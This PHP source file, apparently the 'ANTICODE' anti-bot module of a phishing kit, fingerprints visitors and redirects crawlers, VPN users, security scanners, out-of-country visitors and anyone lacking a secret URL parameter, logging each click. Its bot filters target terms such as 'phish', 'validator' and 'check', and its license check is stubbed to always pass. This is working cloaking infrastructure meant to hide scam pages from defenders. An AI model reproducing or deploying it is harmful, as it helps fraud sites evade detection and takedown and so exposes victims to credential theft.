<?php
error_reporting(0);
defined("ALLOW") or exit('No direct script access allowed');

class goANTICODE
{
	private $_TOKEN = FCPATH . "ANTICODE/Priv/.settings.ini";
	public function __construct()
	{
		$this->load_agent();

		if (isset($_SERVER['HTTP_USER_AGENT'])) {
			$this->agent = trim($_SERVER['HTTP_USER_AGENT']);
			$this->compile_data();
		}
	}

	public function runApp()
	{
		$uri = trim($_GET['z']);
		$uri = explode("/", $uri);

		if (!isset($_GET['z'])) {
			$controller = "Home";
		} else {
			$controller = ucfirst($uri[0]);
		}

		if (file_exists(FCPATH . "ANTICODE/Controllers/" . $controller . ".php")) {
			require FCPATH . "ANTICODE/Controllers/" . $controller . ".php";
			$controller = new $controller;
		} else {
			_404("Unknown Controller {$controller}");
		}

		if (isset($uri[1]) and (!empty($uri[1]))) {
			$method = trim($uri[1]);
			if (method_exists($controller, $method)) {
				$controller->$method();
			} else {
				_404("Unknown method {$method}");
			}
		} else {
			$controller->index();
		}
	}

	public $agent = NULL;
	public $is_browser = FALSE;
	public $is_robot = FALSE;
	public $is_mobile = FALSE;
	public $languages = [];
	public $platforms = [];
	public $browsers = [];
	public $mobiles = [];
	public $isp = '';
	public $country = '';
	public $countryCode = '';
	public $regionName = '';
	public $city = '';
	public $ip_address = '';
	public $hostname = '';
	public $platform = '';
	public $browser = '';
	public $version = '';
	public $mobile = '';
	public $robot = '';

	public function get_isp($ip)
	{
		$key = _proip('KEY');
		$url = "https://pro.ip-api.com/json/$ip?key=$key";
		$getGeo = json_decode(curl($url, false, true), 1);

		return $getGeo;

		$this->isp = $getGeo['isp'] ?? 'Unknown isp';
		$this->country = $getGeo['country'] ?? 'Unknown country';
		$this->regionName = $getGeo['regionName'] ?? 'Unknown region';
		$this->city = $getGeo['city'] ?? 'Unknown city';

		return ($getGeo && isset($getGeo['status']) && $getGeo['status'] === "success");
	}

	protected function load_agent()
	{
		$this->platforms = ['windows nt 10.0' => 'Windows 10', 'windows nt 6.3' => 'Windows 8.1', 'windows nt 6.2' => 'Windows 8', 'windows nt 6.1' => 'Windows 7', 'windows nt 6.0' => 'Windows Vista', 'windows nt 5.2' => 'Windows 2003', 'windows nt 5.1' => 'Windows XP', 'windows nt 5.0' => 'Windows 2000', 'windows nt 4.0' => 'Windows NT 4.0', 'winnt4.0' => 'Windows NT 4.0', 'winnt 4.0' => 'Windows NT', 'winnt' => 'Windows NT', 'windows 98' => 'Windows 98', 'win98' => 'Windows 98', 'windows 95' => 'Windows 95', 'win95' => 'Windows 95', 'windows phone' => 'Windows Phone', 'windows' => 'Unknown Windows OS', 'android' => 'Android', 'blackberry' => 'BlackBerry', 'iphone' => 'iOS', 'ipad' => 'iOS', 'ipod' => 'iOS', 'os x' => 'Mac OS X', 'ppc mac' => 'Power PC Mac', 'freebsd' => 'FreeBSD', 'ppc' => 'Macintosh', 'linux' => 'Linux', 'debian' => 'Debian', 'sunos' => 'Sun Solaris', 'beos' => 'BeOS', 'apachebench' => 'ApacheBench', 'aix' => 'AIX', 'irix' => 'Irix', 'osf' => 'DEC OSF', 'hp-ux' => 'HP-UX', 'netbsd' => 'NetBSD', 'bsdi' => 'BSDi', 'openbsd' => 'OpenBSD', 'gnu' => 'GNU/Linux', 'unix' => 'Unknown Unix OS', 'symbian' => 'Symbian OS'];
		$this->browsers = ['OPR' => 'Opera', 'Flock' => 'Flock', 'Edge' => 'Edge', 'Chrome' => 'Chrome', 'Opera.*?Version' => 'Opera', 'Opera' => 'Opera', 'MSIE' => 'Internet Explorer', 'Internet Explorer' => 'Internet Explorer', 'Trident.* rv' => 'Internet Explorer', 'Shiira' => 'Shiira', 'Firefox' => 'Firefox', 'Chimera' => 'Chimera', 'Phoenix' => 'Phoenix', 'Firebird' => 'Firebird', 'Camino' => 'Camino', 'Netscape' => 'Netscape', 'OmniWeb' => 'OmniWeb', 'Safari' => 'Safari', 'Mozilla' => 'Mozilla', 'Konqueror' => 'Konqueror', 'icab' => 'iCab', 'Lynx' => 'Lynx', 'Links' => 'Links', 'hotjava' => 'HotJava', 'amaya' => 'Amaya', 'IBrowse' => 'IBrowse', 'Maxthon' => 'Maxthon', 'Ubuntu' => 'Ubuntu Web Browser'];
		$this->mobiles = ['mobileexplorer' => 'Mobile Explorer', 'palmsource' => 'Palm', 'palmscape' => 'Palmscape', 'motorola' => 'Motorola', 'nokia' => 'Nokia', 'nexus' => 'Nexus', 'palm' => 'Palm', 'iphone' => 'Apple iPhone', 'ipad' => 'iPad', 'ipod' => 'Apple iPod Touch', 'sony' => 'Sony Ericsson', 'ericsson' => 'Sony Ericsson', 'blackberry' => 'BlackBerry', 'cocoon' => 'O2 Cocoon', 'blazer' => 'Treo', 'lg' => 'LG', 'amoi' => 'Amoi', 'xda' => 'XDA', 'mda' => 'MDA', 'vario' => 'Vario', 'htc' => 'HTC', 'samsung' => 'Samsung', 'sharp' => 'Sharp', 'sie-' => 'Siemens', 'alcatel' => 'Alcatel', 'benq' => 'BenQ', 'ipaq' => 'HP iPaq', 'mot-' => 'Motorola', 'playstation portable' => 'PlayStation Portable', 'playstation 3' => 'PlayStation 3', 'playstation vita' => 'PlayStation Vita', 'hiptop' => 'Danger Hiptop', 'nec-' => 'NEC', 'panasonic' => 'Panasonic', 'philips' => 'Philips', 'sagem' => 'Sagem', 'sanyo' => 'Sanyo', 'spv' => 'SPV', 'zte' => 'ZTE', 'sendo' => 'Sendo', 'nintendo dsi' => 'Nintendo DSi', 'nintendo ds' => 'Nintendo DS', 'nintendo 3ds' => 'Nintendo 3DS', 'wii' => 'Nintendo Wii', 'open web' => 'Open Web', 'openweb' => 'OpenWeb', 'meizu' => 'Meizu', 'android' => 'Android', 'symbian' => 'Symbian', 'SymbianOS' => 'SymbianOS', 'elaine' => 'Palm', 'series60' => 'Symbian S60', 'windows ce' => 'Windows CE', 'obigo' => 'Obigo', 'netfront' => 'Netfront Browser', 'openwave' => 'Openwave Browser', 'mobilexplorer' => 'Mobile Explorer', 'operamini' => 'Opera Mini', 'opera mini' => 'Opera Mini', 'opera mobi' => 'Opera Mobile', 'fennec' => 'Firefox Mobile', 'digital paths' => 'Digital Paths', 'avantgo' => 'AvantGo', 'xiino' => 'Xiino', 'novarra' => 'Novarra Transcoder', 'vodafone' => 'Vodafone', 'docomo' => 'NTT DoCoMo', 'o2' => 'O2', 'mobile' => 'Generic Mobile', 'wireless' => 'Generic Mobile', 'j2me' => 'Generic Mobile', 'midp' => 'Generic Mobile', 'cldc' => 'Generic Mobile', 'up.link' => 'Generic Mobile', 'up.browser' => 'Generic Mobile', 'smartphone' => 'Generic Mobile', 'cellphone' => 'Generic Mobile'];
		$this->robots = ['googlebot' => 'Googlebot', 'msnbot' => 'MSNBot', 'baiduspider' => 'Baiduspider', 'bingbot' => 'Bing', 'slurp' => 'Inktomi Slurp', 'yahoo' => 'Yahoo', 'ask jeeves' => 'Ask Jeeves', 'fastcrawler' => 'FastCrawler', 'infoseek' => 'InfoSeek Robot 1.0', 'lycos' => 'Lycos', 'yandex' => 'YandexBot', 'mediapartners-google' => 'MediaPartners Google', 'CRAZYWEBCRAWLER' => 'Crazy Webcrawler', 'adsbot-google' => 'AdsBot Google', 'feedfetcher-google' => 'Feedfetcher Google', 'curious george' => 'Curious George', 'ia_archiver' => 'Alexa Crawler', 'MJ12bot' => 'Majestic-12', 'Uptimebot' => 'Uptimebot'];
	}

	protected function compile_data()
	{
		$this->set_platform();
		$this->set_ip_address();
		$this->set_hostname();
		$this->get_isp($this->ip_address);

		foreach (
			array(
				'set_robot',
				'set_browser',
				'set_mobile'
			) as $function
		) {
			if ($this->$function() === TRUE) {
				break;
			}
		}
	}

	protected function set_platform()
	{
		if (is_array($this->platforms) && count($this->platforms) > 0) {

			foreach ($this->platforms as $key => $val) {

				if (preg_match('|' . preg_quote($key) . '|i', $this->agent)) {
					$this->platform = $val;
					return TRUE;
				}
			}
		}

		$this->platform = 'Unknown Platform';
		return FALSE;
	}

	protected function set_browser()
	{
		if (is_array($this->browsers) && count($this->browsers) > 0) {

			foreach ($this->browsers as $key => $val) {

				if (preg_match('|' . $key . '.*?([0-9\.]+)|i', $this->agent, $match)) {
					$this->is_browser = TRUE;
					$this->version    = $match[1];
					$this->browser    = $val;
					$this->set_mobile();
					return TRUE;
				}
			}
		}

		return FALSE;
	}

	protected function set_robot()
	{
		if (is_array($this->robots) && count($this->robots) > 0) {

			foreach ($this->robots as $key => $val) {

				if (preg_match('|' . preg_quote($key) . '|i', $this->agent)) {
					$this->is_robot = TRUE;
					$this->robot    = $val;
					$this->set_mobile();
					return TRUE;
				}
			}
		}

		return FALSE;
	}

	protected function set_mobile()
	{
		if (is_array($this->mobiles) && count($this->mobiles) > 0) {

			foreach ($this->mobiles as $key => $val) {

				if (FALSE !== (stripos($this->agent, $key))) {
					$this->is_mobile = TRUE;
					$this->mobile    = $val;
					return TRUE;
				}
			}
		}
		return FALSE;
	}

	public function is_browser($key = NULL)
	{
		if (!$this->is_browser) {
			return FALSE;
		}

		if ($key === NULL) {
			return TRUE;
		}

		return (isset($this->browsers[$key]) && $this->browser === $this->browsers[$key]);
	}

	public function is_robot($key = NULL)
	{
		if (!$this->is_robot) {
			return FALSE;
		}

		if ($key === NULL) {
			return TRUE;
		}

		return (isset($this->robots[$key]) && $this->robot === $this->robots[$key]);
	}

	public function is_mobile($key = NULL)
	{
		if (!$this->is_mobile) {
			return FALSE;
		}

		if ($key === NULL) {
			return TRUE;
		}

		return (isset($this->mobiles[$key]) && $this->mobile === $this->mobiles[$key]);
	}

	public function agent_string()
	{
		return $this->agent;
	}

	public function platform()
	{
		return $this->platform;
	}

	public function browser()
	{
		return $this->browser;
	}

	public function version()
	{
		return $this->version;
	}

	public function robot()
	{
		return $this->robot;
	}

	public function mobile()
	{
		return $this->mobile;
	}

	public function referrer()
	{
		return empty($_SERVER['HTTP_REFERER']) ? '' : trim($_SERVER['HTTP_REFERER']);
	}

	public function languages()
	{
		if (count($this->languages) === 0) {
			$this->set_languages();
		}

		return $this->languages;
	}

	protected function set_languages()
	{
		if ((count($this->languages) === 0) && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
			$this->languages = explode(',', preg_replace('/(;\s?q=[0-9\.]+)|\s/i', '', strtolower(trim($_SERVER['HTTP_ACCEPT_LANGUAGE']))));
		}

		if (count($this->languages) === 0) {
			$this->languages = array(
				'Undefined'
			);
		}
	}

	public function set_ip_address()
	{
		foreach (['CLIENT_IP', 'FORWARDED', 'FORWARDED_FOR', 'FORWARDED_FOR_IP', 'HTTP_X_CLIENT_IP', 'VIA', 'X_FORWARDED', 'X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION', 'HTTP_VIA', 'HTTP_X_FORWARDED', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_CLUSTER_CLIENT_IP', 'REMOTE_ADDR'] as $key) {
			if (array_key_exists($key, $_SERVER) === TRUE) {
				foreach (explode(',', $_SERVER[$key]) as $ip) {
					$ip = trim($ip);
					if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE) {
						$this->ip_address = $ip;
					} else {
						$this->ip_address = '114.124.205.120';
					}
					return TRUE;
				}
			}
		}

		$this->ip_address = 'Unknown IP Address';
		return FALSE;
	}

	public function set_hostname()
	{
		if ($this->ip_address === '114.124.205.120') {
			$this->hostname = "localhost";
		} elseif ($this->ip_address === 'Unknown IP Address') {
			$this->hostname = "security-up";
		} else {
			$this->hostname = gethostbyaddr($this->ip_address);
		}

		return TRUE;
	}
}

class license
{
	public function a16_blocker($ip)
	{
		return false;
	}
	public function validate()
	{
		if (1 === 1) {
			$data = array(
				'status' => true,
				'message' => 'ANTICODE Was READYY'
			);
		} else {
			$data = array(
				'status' => false,
				'message' => 'ANTICODE Was Here!'
			);
		}
		return $data;
	}
	public function formJson($url, $postdata)
	{
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
		curl_setopt($ch, CURLOPT_HTTPHEADER, array(
			'Content-Type:application/json'
		));
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_0);
		$result = curl_exec($ch);
		curl_close($ch);
		return json_decode($result, 1);
	}
}

class Blockers
{
	public function __construct()
	{
		$this->goANTICODE = new goANTICODE();
	}

	public function bots()
	{
		if (preg_match("/bot|crawler|spider|aws|curl|slurp|phish|search|libwww-perl|python|archiver|transcoder|spider|uptime|validator|fetcher|cron|check|reader|extractor|monitoring|analyz/", $_SERVER['HTTP_USER_AGENT'])) {
			write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Anticode\r\n");
			write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Anticode\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function vpnDetected()
	{
		if (_config('VPNDETECT') == 'on') {
			if (ANTICODEGet($this->goANTICODE->ip_address)) {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] Vpn proxy\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] Vpn proxy\r\n");
				_blocks();
				redirect(uriRand());
			} else if (AnticodeAPI($this->goANTICODE->ip_address)) {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Ipapi\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Ipapi\r\n");
				_blocks();
				redirect(uriRand());
			} else if (blackbox($this->goANTICODE->ip_address)) {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] Vpn proxy\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] Vpn proxy\r\n");
				_blocks();
				redirect(uriRand());
			}
		}
	}

	public function lockedCountry()
	{
		if (_config("LOCKEDCOUNTRY") == "on" && strtolower($_SESSION['countryCode']) !== _config("COUNTRYLOCK")) {
			write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] Locked Country\r\n");
			write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] Locked Country\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function isRobot()
	{
		if ($this->goANTICODE->is_robot) {
			write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Anticode\r\n");
			write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Anticode\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function parameter()
	{
		if (!isset($_GET[_config('PARAMETER')])) {
			write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] No param\r\n");
			write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] No param\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function blockers()
	{
		if (_config('BLOCKERS') == 'on') {
			if (!empty(_anticode('TOKEN'))) {
				if (ATC($this->goANTICODE->ip_address, 'googlebot')) {
					write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Anticode\r\n");
					write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Anticode\r\n");
					_blocks();
					redirect(uriRand());
				} else if (ATC($this->goANTICODE->ip_address, 'bingbot')) {
					write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Anticode\r\n");
					write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Anticode\r\n");
					_blocks();
					redirect(uriRand());
				} else if (ATC($this->goANTICODE->ip_address, 'applebot')) {
					write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Anticode\r\n");
					write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Anticode\r\n");
					_blocks();
					redirect(uriRand());
				} else if (ATC($this->goANTICODE->ip_address, 'yahooslurp')) {
					write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Anticode\r\n");
					write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Anticode\r\n");
					_blocks();
					redirect(uriRand());
				} else if (ATC($this->goANTICODE->ip_address, 'yandexbot')) {
					write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Anticode\r\n");
					write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Anticode\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}
	}

	public function antibot()
	{
		if (_config('ANTIBOT') == 'on') {
			if (!empty(_antibot('KEY'))) {
				if (antibot($this->goANTICODE->ip_address, $this->goANTICODE->agent)) {
					write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Antibot\r\n");
					write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Antibot\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}
	}

	public function gandalblocker()
	{
		if (_config('GANDALBLOCKER') == 'on') {
			if (!empty(_devgandalf('KEY'))) {
				if (gandalfblocker($this->goANTICODE->ip_address, $this->goANTICODE->agent)) {
					write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Gandal Blocker\r\n");
					write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Gandal Blocker\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}
	}

	public function stopbot()
	{
		if (_config('STOPBOT') == 'on') {
			if (!empty(_stopbot('KEY'))) {
				if (stopbot($this->goANTICODE->ip_address, $this->goANTICODE->agent)) {
					write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Stopbot\r\n");
					write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Stopbot\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}
	}

	public function proxy()
	{
		$headers  = explode("\r\n", file_get_contents(FCPATH . 'ANTICODE/Priv/blacklist/headers.dat'));
		foreach ($headers as $header) {
			if (isset($_SERVER[$header])) {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Header Blacklist\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Stopbot\r\n");
				_blocks();
				redirect(uriRand());
			}
		}
	}

	public function addr()
	{
		$ipsrange = explode("\r\n", file_get_contents(FCPATH . 'ANTICODE/Priv/blacklist/ipsrange.dat'));
		$ipscidr  = explode("\r\n", file_get_contents(FCPATH . 'ANTICODE/Priv/blacklist/ipscidr.dat'));
		$ips      = explode("\r\n", file_get_contents(FCPATH . 'ANTICODE/Priv/blacklist/ips.dat'));

		foreach ($ips as $ip) {
			if (preg_match("/" . trim($ip) . "/", $_SERVER['REMOTE_ADDR'])) {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] Addr Blacklist\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] Addr Blacklist\r\n");
				_blocks();
				redirect(uriRand());
			}
		}

		foreach ($ipsrange as $ip) {
			$range = explode('-', $ip);

			$low   = $range[0];
			$high  = $range[1];

			if ($_SERVER['REMOTE_ADDR'] <= $high && $low <= $_SERVER['REMOTE_ADDR']) {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] Addr Blacklist\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] Addr Blacklist\r\n");
				_blocks();
				redirect(uriRand());
			}
		}

		foreach ($ipscidr as $ip) {
			if (ipv4_in_range($_SERVER['REMOTE_ADDR'], trim($ip))) {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] Addr Blacklist\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] Addr Blacklist\r\n");
				_blocks();
				redirect(uriRand());
			}
		}
	}

	public function uafull()
	{
		$ua = $this->goANTICODE->agent;
		$blocker_ua  = explode("\r\n", file_get_contents(FCPATH . 'ANTICODE/Priv/blacklist/bot.dat'));
		$blocker_uafull = explode("\r\n", file_get_contents(FCPATH . 'ANTICODE/Priv/blacklist/useragent.dat'));

		foreach ($blocker_ua as $useragent) {
			if (substr_count($ua, strtolower($useragent)) > 0 || $ua == "" || $ua == " " || $ua == "    ") {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] User Agent Blacklist\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] User Agent Blacklist\r\n");
				_blocks();
				redirect(uriRand());
			}
		}
		foreach ($blocker_uafull as $uanew) {
			if ($ua == strtolower($uanew)) {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] User Agent Blacklist\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] User Agent Blacklist\r\n");
				_blocks();
				redirect(uriRand());
			}
		}
	}

	public function hostname()
	{
		$hostname = $this->goANTICODE->hostname;
		$blocker_hostname = explode("\r\n", file_get_contents(FCPATH . 'ANTICODE/Priv/blacklist/blocked_host.dat'));
		foreach ($blocker_hostname as $hostnamebot) {
			if (substr_count($hostname, $hostnamebot) > 0) {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] Hostname Blacklist\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] Hostname Blacklist\r\n");
				_blocks();
				redirect(uriRand());
			}
		}
	}

	public function words()
	{

		$blocked_words   = explode("\r\n", file_get_contents(FCPATH . 'ANTICODE/Priv/blacklist/blocked_words.dat'));
		foreach ($blocked_words as $word) {
			$ua = $this->goANTICODE->agent;

			if (substr_count(strtolower($ua), strtolower($word)) > 0 || empty($ua)) {
				write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] Word Blacklist\r\n");
				write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] Word Blacklist\r\n");
				_blocks();
				redirect(uriRand());
			}
		}
	}

	public function scamalytics()
	{
		$scm = curl_init();
		curl_setopt($scm, CURLOPT_URL, "https://scamalytics.com/ip/" . $this->goANTICODE->ip_address);
		curl_setopt($scm, CURLOPT_RETURNTRANSFER, true);
		$headerss = [
			"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
			"Accept-Language: en-GB,en;q=0.5",
			"Connection: keep-alive",
			"Referer: https://scamalytics.com/",
			"Sec-Fetch-Dest: document",
			"Sec-Fetch-Mode: navigate",
			"Sec-Fetch-Site: same-origin",
			"Sec-Fetch-User: ?1",
			"Sec-GPC: 1",
			"Upgrade-Insecure-Requests: 1"
		];
		curl_setopt($scm, CURLOPT_HTTPHEADER, $headerss);
		$responte = curl_exec($scm);
		curl_close($scm); // Close the cURL session correctly

		if (preg_match('/Very high Risk|<div class="risk yes">/', $responte)) {
			write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}|[B] By Scamanalyst\r\n");
			write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] By Scamanalyst\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function blacklist()
	{
		$this->proxy();
		$this->addr();
		$this->uafull();
		$this->hostname();
		// $this->words();
		$this->scamalytics();
	}
}
